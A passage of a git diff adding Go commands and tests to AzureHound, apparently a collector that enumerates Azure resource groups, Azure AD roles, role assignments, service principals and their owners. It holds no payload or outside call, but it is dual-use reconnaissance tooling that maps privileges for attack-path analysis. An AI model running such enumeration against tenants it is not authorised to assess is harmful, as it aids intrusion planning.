redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "os" + "os/signal" + "sync" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/client/query" + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listResourceGroupsCmd) +} + +var listResourceGroupsCmd = &cobra.Command{ + Use: "resource-groups", + Long: "Lists Azure Resource Groups", + Run: listResourceGroupsCmdImpl, + SilenceUsage: true, +} + +func listResourceGroupsCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure resource groups...") + start := time.Now() + stream := listResourceGroups(ctx, azClient, listSubscriptions(ctx, azClient)) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listResourceGroups(ctx context.Context, client client.AzureClient, subscriptions <-chan interface{}) <-chan interface{} { + var ( + out = make(chan interface{}) + ids = make(chan string) + streams = pipeline.Demux(ctx.Done(), ids, config.ColStreamCount.Value().(int)) + wg sync.WaitGroup + ) + + go func() { + defer panicrecovery.PanicRecovery() + defer close(ids) + + for result := range pipeline.OrDone(ctx.Done(), subscriptions) { + if subscription, ok := result.(AzureWrapper).Data.(models.Subscription); !ok { + log.Error(fmt.Errorf("failed type assertion"), "unable to continue enumerating resource groups", "result", result) + return + } else { + if ok := pipeline.Send(ctx.Done(), ids, subscription.SubscriptionId); !ok { + return + } + } + } + }() + + wg.Add(len(streams)) + for i := range streams { + stream := streams[i] + go func() { + defer panicrecovery.PanicRecovery() + defer wg.Done() + for id := range stream { + count := 0 + for item := range client.ListAzureResourceGroups(ctx, id, query.RMParams{Top: 1000}) { + if item.Error != nil { + log.Error(item.Error, "unable to continue processing resource groups for this subscription", "subscriptionId", id) + } else { + resourceGroup := models.ResourceGroup{ + ResourceGroup: item.Ok, + SubscriptionId: "/subscriptions/" + id, + TenantId: client.TenantInfo().TenantId, + } + log.V(2).Info("found resource group", "resourceGroup", resourceGroup) + count++ + if ok := pipeline.SendAny(ctx.Done(), out, AzureWrapper{ + Kind: enums.KindAZResourceGroup, + Data: resourceGroup, + }); !ok { + return + } + } + } + log.V(1).Info("finished listing resource groups", "subscriptionId", id, "count", count) + } + }() + } + + go func() { + wg.Wait() + close(out) + log.Info("finished listing all resource groups") + }() + + return out +} diff --git a/cmd/list-resource-groups_test.go b/cmd/list-resource-groups_test.go new file mode 100644 index 0000000..19009a6 --- /dev/null +++ b/cmd/list-resource-groups_test.go @@ -0,0 +1,109 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "testing" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/client/mocks" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/models/azure" + "go.uber.org/mock/gomock" +) + +func init() { + setupLogger() +} + +func TestListResourceGroups(t *testing.T) { + ctrl := gomock.NewController(t) + defer ctrl.Finish() + ctx := context.Background() + + mockClient := mocks.NewMockAzureClient(ctrl) + + mockSubscriptionsChannel := make(chan interface{}) + mockResourceGroupChannel := make(chan client.AzureResult[azure.ResourceGroup]) + mockResourceGroupChannel2 := make(chan client.AzureResult[azure.ResourceGroup]) + + mockTenant := azure.Tenant{} + mockError := fmt.Errorf("I'm an error") + mockClient.EXPECT().TenantInfo().Return(mockTenant).AnyTimes() + mockClient.EXPECT().ListAzureResourceGroups(gomock.Any(), gomock.Any(), gomock.Any()).Return(mockResourceGroupChannel).Times(1) + mockClient.EXPECT().ListAzureResourceGroups(gomock.Any(), gomock.Any(), gomock.Any()).Return(mockResourceGroupChannel2).Times(1) + channel := listResourceGroups(ctx, mockClient, mockSubscriptionsChannel) + + go func() { + defer close(mockSubscriptionsChannel) + mockSubscriptionsChannel <- AzureWrapper{ + Data: models.Subscription{}, + } + mockSubscriptionsChannel <- AzureWrapper{ + Data: models.Subscription{}, + } + }() + go func() { + defer close(mockResourceGroupChannel) + mockResourceGroupChannel <- client.AzureResult[azure.ResourceGroup]{ + Ok: azure.ResourceGroup{}, + } + mockResourceGroupChannel <- client.AzureResult[azure.ResourceGroup]{ + Ok: azure.ResourceGroup{}, + } + }() + go func() { + defer close(mockResourceGroupChannel2) + mockResourceGroupChannel2 <- client.AzureResult[azure.ResourceGroup]{ + Ok: azure.ResourceGroup{}, + } + mockResourceGroupChannel2 <- client.AzureResult[azure.ResourceGroup]{ + Error: mockError, + } + }() + + if result, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } else if wrapper, ok := result.(AzureWrapper); !ok { + t.Errorf("failed type assertion: got %T, want %T", result, AzureWrapper{}) + } else if _, ok := wrapper.Data.(models.ResourceGroup); !ok { + t.Errorf("failed type assertion: got %T, want %T", wrapper.Data, models.ResourceGroup{}) + } + + if result, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } else if wrapper, ok := result.(AzureWrapper); !ok { + t.Errorf("failed type assertion: got %T, want %T", result, AzureWrapper{}) + } else if _, ok := wrapper.Data.(models.ResourceGroup); !ok { + t.Errorf("failed type assertion: got %T, want %T", wrapper.Data, models.ResourceGroup{}) + } + + if result, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } else if wrapper, ok := result.(AzureWrapper); !ok { + t.Errorf("failed type assertion: got %T, want %T", result, AzureWrapper{}) + } else if _, ok := wrapper.Data.(models.ResourceGroup); !ok { + t.Errorf("failed type assertion: got %T, want %T", wrapper.Data, models.ResourceGroup{}) + } + + if _, ok := <-channel; ok { + t.Error("should not have recieved from channel") + } +} diff --git a/cmd/list-role-assignments.go b/cmd/list-role-assignments.go new file mode 100644 index 0000000..d9fa24b --- /dev/null +++ b/cmd/list-role-assignments.go @@ -0,0 +1,136 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "os" + "os/signal" + "sync" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/client/query" + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listRoleAssignmentsCmd) +} + +var listRoleAssignmentsCmd = &cobra.Command{ + Use: "role-assignments", + Long: "Lists Azure Active Directory Role Assignments", + Run: listRoleAssignmentsCmdImpl, + SilenceUsage: true, +} + +func listRoleAssignmentsCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure active directory role assignments...") + start := time.Now() + roles := listRoles(ctx, azClient) + stream := listRoleAssignments(ctx, azClient, roles) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listRoleAssignments(ctx context.Context, client client.AzureClient, roles <-chan interface{}) <-chan interface{} { + var ( + out = make(chan interface{}) + ids = make(chan string) + streams = pipeline.Demux(ctx.Done(), ids, config.ColStreamCount.Value().(int)) + wg sync.WaitGroup + ) + + go func() { + defer panicrecovery.PanicRecovery() + defer close(ids) + + for result := range pipeline.OrDone(ctx.Done(), roles) { + if role, ok := result.(AzureWrapper).Data.(models.Role); !ok { + log.Error(fmt.Errorf("failed type assertion"), "unable to continue enumerating role assignments", "result", result) + return + } else { + if ok := pipeline.Send(ctx.Done(), ids, role.Id); !ok { + return + } + } + } + }() + + wg.Add(len(streams)) + for i := range streams { + stream := streams[i] + go func() { + defer panicrecovery.PanicRecovery() + defer wg.Done() + for id := range stream { + var ( + roleAssignments = models.RoleAssignments{ + RoleDefinitionId: id, + TenantId: client.TenantInfo().TenantId, + } + count = 0 + filter = fmt.Sprintf("roleDefinitionId eq '%s'", id) + ) + // We expand directoryScope in order to obtain the appId from app specific scoped role assignments + for item := range client.ListAzureADRoleAssignments(ctx, query.GraphParams{Filter: filter, Expand: "directoryScope"}) { + if item.Error != nil { + log.Error(item.Error, "unable to continue processing role assignments for this role", "roleDefinitionId", id) + } else { + log.V(2).Info("found role assignment", "roleAssignments", item) + count++ + // To ensure proper linking to AZApp nodes we want to supply the AppId instead when role assignments are app specific scoped + if item.Ok.DirectoryScopeId != "/" { + item.Ok.DirectoryScopeId = fmt.Sprintf("/%s", item.Ok.DirectoryScope.AppId) + } + roleAssignments.RoleAssignments = append(roleAssignments.RoleAssignments, item.Ok) + } + } + if ok := pipeline.SendAny(ctx.Done(), out, AzureWrapper{ + Kind: enums.KindAZRoleAssignment, + Data: roleAssignments, + }); !ok { + return + } + log.V(1).Info("finished listing role assignments", "roleDefinitionId", id, "count", count) + } + }() + } + + go func() { + wg.Wait() + close(out) + log.Info("finished listing all role assignments") + }() + + return out +} diff --git a/cmd/list-role-assignments_test.go b/cmd/list-role-assignments_test.go new file mode 100644 index 0000000..2dd8195 --- /dev/null +++ b/cmd/list-role-assignments_test.go @@ -0,0 +1,33 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "testing" + + "go.uber.org/mock/gomock" +) + +func init() { + setupLogger() +} + +func TestListRoleAssignments(t *testing.T) { + ctrl := gomock.NewController(t) + defer ctrl.Finish() +} diff --git a/cmd/list-roles.go b/cmd/list-roles.go new file mode 100644 index 0000000..7a377c6 --- /dev/null +++ b/cmd/list-roles.go @@ -0,0 +1,91 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "os" + "os/signal" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/client/query" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listRolesCmd) +} + +var listRolesCmd = &cobra.Command{ + Use: "roles", + Long: "Lists Azure Active Directory Roles", + Run: listRolesCmdImpl, + SilenceUsage: true, +} + +func listRolesCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure active directory roles...") + start := time.Now() + stream := listRoles(ctx, azClient) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listRoles(ctx context.Context, client client.AzureClient) <-chan interface{} { + out := make(chan interface{}) + + go func() { + defer panicrecovery.PanicRecovery() + defer close(out) + count := 0 + for item := range client.ListAzureADRoles(ctx, query.GraphParams{}) { + if item.Error != nil { + log.Error(item.Error, "unable to continue processing roles") + return + } else { + log.V(2).Info("found role", "role", item) + count++ + if ok := pipeline.SendAny(ctx.Done(), out, AzureWrapper{ + Kind: enums.KindAZRole, + Data: models.Role{ + Role: item.Ok, + TenantId: client.TenantInfo().TenantId, + TenantName: client.TenantInfo().DisplayName, + }, + }); !ok { + return + } + } + } + log.Info("finished listing all roles", "count", count) + }() + + return out +} diff --git a/cmd/list-roles_test.go b/cmd/list-roles_test.go new file mode 100644 index 0000000..09cdcb5 --- /dev/null +++ b/cmd/list-roles_test.go @@ -0,0 +1,69 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "testing" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/client/mocks" + "github.com/bloodhoundad/azurehound/v2/models/azure" + "go.uber.org/mock/gomock" +) + +func init() { + setupLogger() +} + +func TestListRoles(t *testing.T) { + ctrl := gomock.NewController(t) + defer ctrl.Finish() + ctx := context.Background() + + mockClient := mocks.NewMockAzureClient(ctrl) + mockChannel := make(chan client.AzureResult[azure.Role]) + mockTenant := azure.Tenant{} + mockError := fmt.Errorf("I'm an error") + mockClient.EXPECT().TenantInfo().Return(mockTenant).AnyTimes() + mockClient.EXPECT().ListAzureADRoles(gomock.Any(), gomock.Any()).Return(mockChannel) + + go func() { + defer close(mockChannel) + mockChannel <- client.AzureResult[azure.Role]{ + Ok: azure.Role{}, + } + mockChannel <- client.AzureResult[azure.Role]{ + Error: mockError, + } + mockChannel <- client.AzureResult[azure.Role]{ + Ok: azure.Role{}, + } + }() + + channel := listRoles(ctx, mockClient) + result := <-channel + if _, ok := result.(AzureWrapper); !ok { + t.Errorf("failed type assertion: got %T, want %T", result, AzureWrapper{}) + } + + if _, ok := <-channel; ok { + t.Error("expected channel to close from an error result but it did not") + } +} diff --git a/cmd/list-root.go b/cmd/list-root.go new file mode 100644 index 0000000..fb0d05d --- /dev/null +++ b/cmd/list-root.go @@ -0,0 +1,70 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "os" + "os/signal" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + config.Init(listRootCmd, append(config.AzureConfig, config.OutputFile)) + rootCmd.AddCommand(listRootCmd) +} + +var listRootCmd = &cobra.Command{ + Use: "list", + Short: "Lists Azure Objects", + Run: listCmdImpl, + PersistentPreRunE: persistentPreRunE, + SilenceUsage: true, +} + +func listCmdImpl(cmd *cobra.Command, args []string) { + if len(args) > 0 { + exit(fmt.Errorf("unsupported subcommand: %v", args)) + } + + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure objects...") + start := time.Now() + stream := listAll(ctx, azClient) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listAll(ctx context.Context, client client.AzureClient) <-chan interface{} { + var ( + azureAD = listAllAD(ctx, client) + azureRM = listAllRM(ctx, client) + ) + return pipeline.Mux(ctx.Done(), azureAD, azureRM) +} diff --git a/cmd/list-service-principal-owners.go b/cmd/list-service-principal-owners.go new file mode 100644 index 0000000..2f209ac --- /dev/null +++ b/cmd/list-service-principal-owners.go @@ -0,0 +1,132 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "os" + "os/signal" + "sync" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/client/query" + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listServicePrincipalOwnersCmd) +} + +var listServicePrincipalOwnersCmd = &cobra.Command{ + Use: "service-principal-owners", + Long: "Lists Azure AD Service Principal Owners", + Run: listServicePrincipalOwnersCmdImpl, + SilenceUsage: true, +} + +func listServicePrincipalOwnersCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure service principal owners...") + start := time.Now() + stream := listServicePrincipalOwners(ctx, azClient, listServicePrincipals(ctx, azClient)) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listServicePrincipalOwners(ctx context.Context, client client.AzureClient, servicePrincipals <-chan interface{}) <-chan interface{} { + var ( + out = make(chan interface{}) + ids = make(chan string) + streams = pipeline.Demux(ctx.Done(), ids, config.ColStreamCount.Value().(int)) + wg sync.WaitGroup + ) + + go func() { + defer panicrecovery.PanicRecovery() + defer close(ids) + + for result := range pipeline.OrDone(ctx.Done(), servicePrincipals) { + if servicePrincipal, ok := result.(AzureWrapper).Data.(models.ServicePrincipal); !ok { + log.Error(fmt.Errorf("failed type assertion"), "unable to continue enumerating service principal owners", "result", result) + return + } else { + if ok := pipeline.Send(ctx.Done(), ids, servicePrincipal.Id); !ok { + return + } + } + } + }() + + wg.Add(len(streams)) + for i := range streams { + stream := streams[i] + go func() { + defer panicrecovery.PanicRecovery() + defer wg.Done() + for id := range stream { + var ( + servicePrincipalOwners = models.ServicePrincipalOwners{ + ServicePrincipalId: id, + } + count = 0 + ) + for item := range client.ListAzureADServicePrincipalOwners(ctx, id, query.GraphParams{}) { + if item.Error != nil { + log.Error(item.Error, "unable to continue processing owners for this service principal", "servicePrincipalId", id) + } else { + servicePrincipalOwner := models.ServicePrincipalOwner{ + Owner: item.Ok, + ServicePrincipalId: id, + } + log.V(2).Info("found service principal owner", "servicePrincipalOwner", servicePrincipalOwner) + count++ + servicePrincipalOwners.Owners = append(servicePrincipalOwners.Owners, servicePrincipalOwner) + } + } + if ok := pipeline.SendAny(ctx.Done(), out, AzureWrapper{ + Kind: enums.KindAZServicePrincipalOwner, + Data: servicePrincipalOwners, + }); !ok { + return + } + log.V(1).Info("finished listing service principal owners", "servicePrincipalId", id, "count", count) + } + }() + } + + go func() { + wg.Wait() + close(out) + log.Info("finished listing all service principal owners") + }() + + return out +} diff --git a/cmd/list-service-principal-owners_test.go b/cmd/list-service-principal-owners_test.go new file mode 100644 index 0000000..61f6eb5 --- /dev/null +++ b/cmd/list-service-principal-owners_test.go @@ -0,0 +1,102 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "encoding/json" + "fmt" + "testing" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/client/mocks" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/models/azure" + "go.uber.org/mock/gomock" +) + +func init() { + setupLogger() +} + +func TestListServicePrincipalOwners(t *testing.T) { + ctrl := gomock.NewController(t) + defer ctrl.Finish() + ctx := context.Background() + + mockClient := mocks.NewMockAzureClient(ctrl) + + mockServicePrincipalsChannel := make(chan interface{}) + mockServicePrincipalOwnerChannel := make(chan client.AzureResult[json.RawMessage]) + mockServicePrincipalOwnerChannel2 := make(chan client.AzureResult[json.RawMessage]) + + mockTenant := azure.Tenant{} + mockError := fmt.Errorf("I'm an error") + mockClient.EXPECT().TenantInfo().Return(mockTenant).AnyTimes() + mockClient.EXPECT().ListAzureADServicePrincipalOwners(gomock.Any(), gomock.Any(), gomock.Any()).Return(mockServicePrincipalOwnerChannel).Times(1) + mockClient.EXPECT().ListAzureADServicePrincipalOwners(gomock.Any(), gomock.Any(), gomock.Any()).Return(mockServicePrincipalOwnerChannel2).Times(1) + channel := listServicePrincipalOwners(ctx, mockClient, mockServicePrincipalsChannel) + + go func() { + defer close(mockServicePrincipalsChannel) + mockServicePrincipalsChannel <- AzureWrapper{ + Data: models.ServicePrincipal{}, + } + mockServicePrincipalsChannel <- AzureWrapper{ + Data: models.ServicePrincipal{}, + } + }() + go func() { + defer close(mockServicePrincipalOwnerChannel) + mockServicePrincipalOwnerChannel <- client.AzureResult[json.RawMessage]{ + Ok: json.RawMessage{}, + } + mockServicePrincipalOwnerChannel <- client.AzureResult[json.RawMessage]{ + Ok: json.RawMessage{}, + } + }() + go func() { + defer close(mockServicePrincipalOwnerChannel2) + mockServicePrincipalOwnerChannel2 <- client.AzureResult[json.RawMessage]{ + Ok: json.RawMessage{}, + } + mockServicePrincipalOwnerChannel2 <- client.AzureResult[json.RawMessage]{ + Error: mockError, + } + }() + + if result, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } else if wrapper, ok := result.(AzureWrapper); !ok { + t.Errorf("failed type assertion: got %T, want %T", result, AzureWrapper{}) + } else if data, ok := wrapper.Data.(models.ServicePrincipalOwners); !ok { + t.Errorf("failed type assertion: got %T, want %T", wrapper.Data, models.ServicePrincipalOwners{}) + } else if len(data.Owners) != 2 { + t.Errorf("got %v, want %v", len(data.Owners), 2) + } + + if result, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } else if wrapper, ok := result.(AzureWrapper); !ok { + t.Errorf("failed type assertion: got %T, want %T", result, AzureWrapper{}) + } else if data, ok := wrapper.Data.(models.ServicePrincipalOwners); !ok { + t.Errorf("failed type assertion: got %T, want %T", wrapper.Data, models.ServicePrincipalOwners{}) + } else if len(data.Owners) != 1 { + t.Errorf("got %v, want %v", len(data.Owners), 1) + } +} diff --git a/cmd/list-service-principals.go b/cmd/list-service-principals.go new file mode 100644 index 0000000..5d427af --- /dev/null +++ b/cmd/list-service-principals.go @@ -0,0 +1,91 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "os" + "os/signal" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/client/query" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listServicePrincipalsCmd) +} + +var listServicePrincipalsCmd = &cobra.Command{ + Use: "service-principals", + Long: "Lists Azure Active Directory Service Principals", + Run: listServicePrincipalsCmdImpl, + SilenceUsage: true, +} + +func listServicePrincipalsCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure active directory service principals...") + start := time.Now() + stream := listServicePrincipals(ctx, azClient) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listServicePrincipals(ctx context.Context, client client.AzureClient) <-chan interface{} { + out := make(chan interface{}) + + go func() { + defer panicrecovery.PanicRecovery() + defer close(out) + count := 0 + for item := range client.ListAzureADServicePrincipals(ctx, query.GraphParams{}) { + if item.Error != nil { + log.Error(item.Error, "unable to continue processing service principals") + return + } else { + log.V(2).Info("found service principal", "servicePrincipal", item) + count++ + if ok := pipeline.SendAny(ctx.Done(), out, AzureWrapper{ + Kind: enums.KindAZServicePrincipal, + Data: models.ServicePrincipal{ + ServicePrincipal: item.Ok, + TenantId: client.TenantInfo().TenantId, + TenantName: client.TenantInfo().DisplayName, + }, + }); !ok { + return + } + } + } + log.Info("finished listing all service principals", "count", count) + }() + + return out +} diff --git a/cmd/list-service-principals_test.go b/cmd/list-service-principals_test.go new file mode 100644 index 0000000..b9058fa --- /dev/null +++ b/cmd/list-service-principals_test.go @@ -0,0 +1,69 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "testing" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/client/mocks" + "github.com/bloodhoundad/azurehound/v2/models/azure" + "go.uber.org/mock/gomock" +) + +func init() { + setupLogger() +} + +func TestListServicePrincipals(t *testing.T) { + ctrl := gomock.NewController(t) + defer ctrl.Finish() + ctx := context.Background() + + mockClient := mocks.NewMockAzureClient(ctrl) + mockChannel := make(chan client.AzureResult[azure.ServicePrincipal]) + mockTenant := azure.Tenant{} + mockError := fmt.Errorf("I'm an error") + mockClient.EXPECT().TenantInfo().Return(mockTenant).AnyTimes() + mockClient.EXPECT().ListAzureADServicePrincipals(gomock.Any(), gomock.Any()).Return(mockChannel) + + go func() { + defer close(mockChannel) + mockChannel <- client.AzureResult[azure.ServicePrincipal]{ + Ok: azure.ServicePrincipal{}, + } + mockChannel <- client.AzureResult[azure.ServicePrincipal]{ + Error: mockError, + } + mockChannel <- client.AzureResult[azure.ServicePrincipal]{ + Ok: azure.ServicePrincipal{}, + } + }() + + channel := listServicePrincipals(ctx, mockClient) + result := <-channel + if _, ok := result.(AzureWrapper); !ok { + t.Errorf("failed type assertion: got %T, want %T", result, AzureWrapper{}) + } + + if _, ok := <-channel; ok { + t.Error("expected channel to close from an error result but it did 